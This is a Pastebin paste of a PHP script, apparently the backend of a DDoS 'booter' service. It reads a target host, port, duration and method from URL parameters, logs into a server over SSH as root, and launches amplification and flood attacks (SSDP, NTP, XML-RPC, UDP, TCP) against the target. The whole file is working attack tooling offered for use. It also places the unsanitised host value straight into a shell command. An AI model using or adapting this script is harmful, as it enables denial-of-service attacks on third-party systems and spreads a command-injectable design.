Advertisement
Guest User

api

a guest
Jun 6th, 2016
243
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.27 KB | None | 0 0
  1. <?php
  2. /////////////////////////////////
  3. //-- Venux API Script --//
  4. /////////////////////////////////
  5. ignore_user_abort(true);
  6. set_time_limit(0);
  7. //////////////////////////////////////////
  8. //-- You're servers credentials --//
  9. //-- Enter you're servers credentials --//
  10. //////////////////////////////////////////
  11. $server_ip = "yourserverip"; //Change "1337" to you're servers IP.
  12. $server_pass = "urpassword"; //Change "pass" to you're servers password.
  13. $server_user = "root"; //Only change this if you're using a user other than root.
  14.  
  15. /////////////////////////////////////////
  16. //-- Gets the value of each variable --//
  17. /////////////////////////////////////////
  18. $key = $_GET['key'];
  19. $host = $_GET['host'];
  20. $port = intval($_GET['port']);
  21. $time = intval($_GET['time']);
  22. $method = $_GET['method'];
  23. $action = $_GET['action'];
  24.  
  25. ///////////////////////////////////////////////////
  26. //-- array of implemented method as a variable --//
  27. ///////////////////////////////////////////////////
  28. $array = array("ssdp", "ntp", "minecraft", "stop", "dns", "chargen", "xmlrpc", "udp");// Add you're existing methods here, and delete you're none existent methods.
  29. $ray = array("layer");
  30.  
  31. ////////////////////////////////////////
  32. //-- Checks if the API key is empty --//
  33. ////////////////////////////////////////
  34. if (!empty($key)){
  35. }else{
  36. die('Error: API key is empty!');}
  37.  
  38. //////////////////////////////////////////
  39. //-- Checks if the API key is correct --//
  40. //////////////////////////////////////////
  41. if (in_array($key, $ray)){ //Change "key" to what ever yo want you're API key to be.
  42. }else{
  43. die('Error: Incorrect API key!');}
  44.  
  45. /////////////////////////////////
  46. //-- Checks if time is empty --//
  47. /////////////////////////////////
  48. if (!empty($time)){
  49. }else{
  50. die('Error: time is empty!');}
  51.  
  52. /////////////////////////////////
  53. //-- Checks if host is empty --//
  54. /////////////////////////////////
  55. if (!empty($host)){
  56. }else{
  57. die('Error: Host is empty!');}
  58. ///////////////////////////////////
  59. //-- Checks if method is empty --//
  60. ///////////////////////////////////
  61. if (!empty($method)){
  62. }else{
  63. die('Error: Method is empty!');}
  64.  
  65. ///////////////////////////////////
  66. //-- Checks if method is empty --//
  67. ///////////////////////////////////
  68. if (in_array($method, $array)){
  69. }else{
  70. die('Error: The method you requested does not exist!');}
  71. ///////////////////////////////////////////////////
  72. //-- Uses regex to see if the Port could exist --//
  73. ///////////////////////////////////////////////////
  74. if ($port > 44405){
  75. die('Error: Ports over 44405 do not exist');}
  76.  
  77. //////////////////////////////////
  78. //-- Sets a Maximum boot time --//
  79. //////////////////////////////////
  80. if ($time > 12000){
  81. die('Error: Cannot exceed 12000 seconds!');} //Change 10 to the time you used above.
  82.  
  83. if(ctype_digit($Time)){
  84. die('Error: Time is not in numeric form!');}
  85.  
  86. if(ctype_digit($Port)){
  87. die('Error: Port is not in numeric form!');}
  88.  
  89. //////////////////////////////////////////////////////////////////////////////
  90. //-- You're attack methods --//
  91. //-- Make sure the command is formatted correctly for each method you add --//
  92. //////////////////////////////////////////////////////////////////////////////
  93. if ($method == "ssdp") { $command = "./ssdp $host $port ssdp.txt 5 $time"; }
  94. if ($method == "ntp") { $command = "./ntp $host $port ntp.txt 40 -1 $time"; }
  95. if ($method == "xmlrpc") { $command = "screen -d -m ./xml $host list1.txt $time 1000"; printf($command); }
  96. if ($method == "udp") { $command = "perl udp.pl $host $port 1024 $time"; }
  97. if ($method == "essyn") { $command = "./essyn $host $port 4 -1 $time"; }
  98. if ($method == "tcp") { $command = "./tcp $host $port 8 -1 $time"; }
  99. if ($action == "stop") { $command = "pkill $host -f"; }
  100. ///////////////////////////////////////////////////////
  101. //-- Check to see if the server has SSH2 installed --//
  102. ///////////////////////////////////////////////////////
  103. if (!function_exists("ssh2_connect")) die("Error: SSH2 does not exist on you're server");
  104. if(!($con = ssh2_connect($server_ip, 22))){
  105. echo "Error: Connection Issue";
  106. } else {
  107.  
  108. ///////////////////////////////////////////////////
  109. //-- Attempts to login with you're credentials --//
  110. ///////////////////////////////////////////////////
  111. if(!ssh2_auth_password($con, $server_user, $server_pass)) {
  112. echo "Error: Login failed, one or more of you're server credentials are incorect.";
  113. } else {
  114.  
  115. ////////////////////////////////////////////////////////////////////////////
  116. //-- Tries to execute the attack with the requested method and settings --//
  117. ////////////////////////////////////////////////////////////////////////////
  118. if (!($stream = ssh2_exec($con, $command ))) {
  119. echo "Error: You're server was not able to execute you're methods file and or its dependencies";
  120. } else {
  121. ////////////////////////////////////////////////////////////////////
  122. //-- Executed the attack with the requested method and settings --//
  123. ////////////////////////////////////////////////////////////////////
  124. stream_set_blocking($stream, false);
  125. $data = "";
  126. while ($buf = fread($stream,4096)) {
  127. $data .= $buf;
  128. }
  129. echo "";
  130. fclose($stream);
  131. }
  132. }
  133. }
  134. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement